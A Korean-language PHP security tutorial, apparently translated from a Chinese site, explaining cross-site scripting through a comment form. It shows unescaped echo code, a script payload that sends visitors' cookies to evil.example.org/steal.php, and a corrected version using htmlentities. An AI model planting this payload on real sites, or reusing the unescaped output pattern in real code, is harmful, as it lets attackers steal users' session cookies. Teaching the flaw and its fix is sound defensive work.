크로스 사이트 스크립팅 공격은 잘 알려진 공격 방법 1. 모든 플랫폼의 웹 애플리케이션은 이 문제로 인해 어려움을 겪고 있으며 PHP 애플리케이션도 예외는 아닙니다.
입력이 있는 모든 애플리케이션이 위험합니다. 웹메일, 포럼, 방명록, 심지어 블로그까지. 실제로 대부분의 웹 애플리케이션은 더 많은 사람들을 끌어들이기 위한 목적으로 입력을 제공하지만 동시에 이는 스스로를 위험에 빠뜨리기도 합니다. 교차 사이트 스크립팅 취약점은 입력이 제대로 삭제되지 않고 이스케이프되지 않을 때 발생합니다.
각 페이지에 댓글을 입력할 수 있는 애플리케이션을 예로 들어 보겠습니다. 이 애플리케이션은 사용자가 제출할 수 있도록 다음 양식을 사용합니다.
코드:
<form action="comment.php" method="POST" /> <p>Name: <input type="text" name="name" /><br /> Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /> <input type="submit" value="Add Comment" /></p> </form>
프로그램은 방문하는 다른 사용자에게 알립니다. 이 페이지 댓글을 표시하세요. 예를 들어 다음과 같은 코드 조각을 사용하여 주석($comment)과 해당 작성자($name)를 출력할 수 있습니다.
CODE:
<?php echo "<p>$name writes:<br />"; echo "<blockquote>$comment</blockquote></p>"; ?>
이 프로세스는 $comment 및 $name의 가치에 대한 완전한 신뢰를 제공합니다. 그 중 하나의 콘텐츠에 다음 코드가 포함되어 있습니다.
CODE:
<script> document.location = 'http://evil.example.org/steal.php?cookies=' + document.cookie </script>
귀하의 사용자가 이 댓글을 보는 것은 다른 사람이 귀하의 웹사이트 소스 코드에 Javascript 코드를 추가하도록 허용하는 것과 같습니다. 사용자는 자신도 모르게 자신의 쿠키를 evil.example.org로 보내고 수신 프로그램(steal.php)은 $_GET['cookies'] 변수를 통해 모든 쿠키에 액세스할 수 있습니다.
이는 주로 나쁜 프로그래밍 습관으로 인해 발생하는 일반적인 실수입니다. 다행히도 그러한 실수는 피하기 쉽습니다. 이 위험은 오염된 데이터를 출력할 때만 발생하므로 1장
에 설명된 대로 입력을 필터링하고 출력을 이스케이프해야 합니다. 최소한 htmlentities( ) 클라이언트에 출력하려는 데이터를 이스케이프합니다. 이 기능은 모든 특수 문자를 HTML 표현으로 변환할 수 있습니다. 브라우저가 특별한 처리를 수행하게 하는 모든 문자가 변환된 후에는 원래 입력된 내용이 표시되는지 확인할 수 있습니다.
따라서 주석을 표시하려면 다음 코드를 사용하는 것이 더 안전합니다.
CODE:
<?php $clean = array(); $html = array(); /* Filter Input ($name, $comment) */ $html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8'); $html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8'); echo "<p>{$html['name']} writes:<br />"; echo "<blockquote>{$html['comment']}</blockquote></p>"; ?>
위는 PHP 보안 크로스 사이트 스크립팅 공격 내용입니다. 자세한 내용은 PHP를 참고해주세요. 중국사이트(www.php.cn)!